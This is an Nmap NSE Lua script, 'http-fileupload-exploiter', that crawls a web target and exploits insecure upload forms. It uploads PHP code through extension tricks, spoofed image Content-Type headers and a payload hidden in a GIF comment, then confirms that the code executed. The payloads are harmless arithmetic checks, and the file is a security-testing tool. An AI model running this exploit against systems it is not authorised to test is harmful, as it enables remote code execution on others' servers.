description = [[
Exploits insecure file upload forms in web applications
using various techniques like changing the Content-type
header or creating valid image files containing the 
payload in the comment.
]]

---
-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
-- 
-- This script discovers the upload form on the target's page and
-- attempts to exploit it using 3 different methods:
--
-- 1) At first, it tries to upload payloads with different insecure 
-- extensions. This will work against a weak blacklist used by a file 
-- name extension verifier.
--
-- 2) If (1) doesn't work, it will try to upload the same payloads  
-- this time with different Content-type headers, like "image/gif" 
-- instead of the "text/plain". This will trick any mechanisms that 
-- check the MIME type.
--
-- 3) If (2), doesn't work, it will create some proper GIF images 
-- that contain the payloads in the comment. The interpreter will 
-- see the executable inside some binary garbage. This will bypass
-- any check of the actual content of the uploaded file.
--
-- TODO:
-- * Use the vulns library to report.
--
-- @args http-fileupload-exploiter.formpaths The pages that contain 
--       the forms to exploit. For example, {/upload.php,  /login.php}.
--       Default: nil (crawler mode on)
-- @args http-fileupload-exploiter.uploadspaths Directories with 
--       the uploaded files. For example, {/avatars, /photos}. Default: 
--       {'/uploads', '/upload', '/file', '/files', '/downloads'}
-- @args http-fileupload-exploiter.fieldvalues The script will try to 
--       fill every field found in the upload form but that may fail
--       due to fields' restrictions. You can manually fill those 
--       fields using this table. For example, {gender = "male", email 
--        = "foo@bar.com"}. Default: {}
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- |   Testing page /post.html
-- |   
-- |     Succesfully uploaded and executed payloads: 
-- |      Filename: 1.php, MIME: text/plain
-- |_     Filename: 1.php3, MIME: text/plain
---

categories = {"intrusive", "exploit", "vuln"}
author = "George Chatzisofroniou"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

local http = require "http"
local string = require "string"
local httpspider = require "httpspider"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")


-- A list of payloads. The interpreted code in the 'content' variable should 
-- output the result in the 'check' variable.
--
-- You can manually add / remove your own payloads but make sure you 
-- don't mess up, otherwise the script may succeed when it actually 
-- hasn't. 
--
-- Note, that more payloads will slow down your scan significaly.
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, 
            { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--            { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--            { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
--            { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
--            { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
--            { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
--            { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
--            { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
        }

listofrequests = {}

-- Escape for jsp and asp payloads.
local escape = function(s) 
    return (s:gsub('%%', '%%%%'))
end

-- Represents an upload-request.
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
    local request = {
        host = host;
        port = port;
        submission = submission;
        mime = mime;
        name = name;
        filename = filename;
        partofrequest = partofrequest;
        payload = payload;
        check = check;
        uploadedpaths = {};
        success = 0;

        make = function(self)
            options = { header={} }
            options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
            options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
 
            stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
                
            local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })

            return response.body
        end;

        checkPayload = function(self, uploadspaths)
            for _, uploadpath in ipairs(uploadspaths) do
                response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
 
                if response.status ~= 404 then
                    if (response.body:match(self.check)) then
                        self.success = 1
                        table.insert(self.uploadedpaths, uploadpath)
                    end
                end
            end
        end;
    }
    table.insert(listofrequests, request)
    return request
end

-- Create customized requests for all of our payloads.
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)

    for i, p in ipairs(payloads) do
        if image then
            p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true) 
        end
        UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
    end

end

-- Make the requests that we previously created with buildRequests()
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local makeAndCheckRequests = function(uploadspaths)

    local exit = 0
    local output = {"Succesfully uploaded and executed payloads: "}

    for i=1, #listofrequests, 1 do
        listofrequests[i]:make()
        listofrequests[i]:checkPayload(uploadspaths)
        if (listofrequests[i].success == 1) then
            exit = 1
            table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
            for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
                table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
            end
        end
    end

    if exit == 1 then
        return output
    end

    listofrequests = {}

end

local prepareRequest = function(fields, fieldvalues)

    local filefield = 0
    local req = ""
    local value

    for _, field in ipairs(fields) do
        if field["type"] == "file" then
            filefield = field
        elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
            if fieldvalues[field["name"]] ~= nil then
                value = fieldvalues[field["name"]]
            else
                value = "SampleData0"
            end
            req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
        end
    end

    return req, filefield
 
end 

action = function(host, port)

    local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
    local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
    local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}

    local returntable = {} 

    local result
    local foundform = 0 
    local foundfield = 0
    local fail = 0


    local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )

    if (not(crawler)) then
		return
	end

	crawler:set_timeout(10000)
 
    local index, k, target, response

    while (true) do

        if formpaths then
            k, target = next(formpaths, index)
            if (k == nil) then
                break
            end
            response = http.get(host, port, target)
        else
            
            local status, r = crawler:crawl()
            -- if the crawler fails it can be due to a number of different reasons
            -- most of them are "legitimate" and should not be reason to abort
            if ( not(status) ) then
                if ( r.err ) then
                    return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
                else
                    break
                end
		    end

            target = tostring(r.url)
            response = r.response
       
        end


        if response.body then 

            local forms = http.grab_forms(response.body)

            for i, form in ipairs(forms) do 
                
                form = http.parse_form(form)

                if form then

                    local action_absolute = string.find(form["action"], "https*://")
              
                    -- Determine the path where the form needs to be submitted.
                    if action_absolute then
                        submission = form["action"]
                    else    
                        local path_cropped = string.match(target, "(.*/).*")
                        path_cropped = path_cropped and path_cropped or ""
                        submission = path_cropped..form["action"]
                    end

                    foundform = 1

                    partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)

                    if filefield ~= 0 then

                        foundfield = 1
                        
                        -- Method (1).
                        buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)

                        result = makeAndCheckRequests(uploadspaths)
                        if result then
                            table.insert(returntable, result)
                            break
                        end
     
                        -- Method (2).
                        buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
                        buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
                        buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths) 

                        result = makeAndCheckRequests(uploadspaths)
                        if result then 
                            table.insert(returntable, result)
                            break
                        end

                        -- Method (3).
                        local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
                        local image = inp:read("*all")
                        
                        buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)

                        result = makeAndCheckRequests(uploadspaths)
                        if result then
                            table.insert(returntable, result)
                        else
                            fail = 1
                        end
                    end 
                else 
                    table.insert(returntable, {"Couldn't find a file-type field."})
                end
            end
        end
        if fail == 1 then
            table.insert(returntable, {"Failed to upload and execute a payload."})
        end
        if (index) then
            index = index + 1
        else 
            index = 1
        end
    end
    return returntable
end
